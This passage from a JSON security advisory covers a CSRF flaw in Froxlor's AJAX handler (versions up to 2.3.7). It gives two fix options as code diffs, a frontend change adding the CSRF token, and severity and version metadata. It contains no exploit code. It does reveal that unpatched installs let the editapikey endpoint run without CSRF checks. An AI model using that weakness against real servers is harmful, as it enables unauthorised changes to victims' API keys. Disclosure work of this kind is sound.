Froxlor\\Ajax\\Ajax;\n\ntry {\n    echo (new Ajax)->handle();\n} catch (Exception $e) {\n    header(\"Content-Type: application/json\");\n    echo \\Froxlor\\Api\\Response::jsonErrorResponse($e->getMessage(), 500);\n}\n```\n\n**Pros:** All security controls (CSRF, rate limiting, session management, area enforcement) apply uniformly. No code duplication.\n**Cons:** Requires frontend changes to include CSRF token in AJAX requests.\n\n### Option B (Minimal): Add CSRF Check to Ajax Class\n\nAdd CSRF token validation directly in the `Ajax` class:\n\n```diff\n// lib/Froxlor/Ajax/Ajax.php\n\npublic function handle()\n{\n    $this->userinfo = $this->getValidatedSession();\n\n+   // CSRF Protection — mirror init.php:363-369\n+   if (in_array($_SERVER['REQUEST_METHOD'], ['POST', 'PUT', 'PATCH', 'DELETE'])) {\n+       $token_from_request = Request::post('csrf_token',\n+           $_SERVER['HTTP_X_CSRF_TOKEN'] ?? null);\n+       $stored_token = $this->userinfo['csrf_token'] ?? '';\n+       if (empty($token_from_request) || !hash_equals($stored_token, $token_from_request)) {\n+           return $this->errorResponse('CSRF validation failed', 403);\n+       }\n+   }\n\n    switch ($this->action) {\n        // ... existing cases unchanged\n    }\n}\n```\n\n**Frontend changes required (for both options):**\n\n```diff\n// templates/Froxlor/assets/js/jquery/apikeys.js\n$.ajax({\n    url: \"lib/ajax.php?action=editapikey\",\n    type: \"POST\",\n    dataType: \"json\",\n    data: {\n        id: akid,\n        allowed_from: _this.val(),\n        valid_until: $('div[data-entry=\"' + akid + '\"] #valid_until').val(),\n+       csrf_token: $('meta[name=\"csrf-token\"]').attr('content')\n    },\n    // ...\n});\n```\n\n### CSRF Token Available in Twig Templates\n\nThe CSRF token is already available as a Twig global variable (`{{ csrf_token }}`) set in `init.php:361`. Templates can expose it via:\n\n```html\n<meta name=\"csrf-token\" content=\"{{ csrf_token }}\">\n```\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-xpr4-8vp6-c87j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/5f540fe361e7e13e8c5a32805b793a25e9e26a0e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:48:30Z",
    "nvd_published_at" : null
  }
}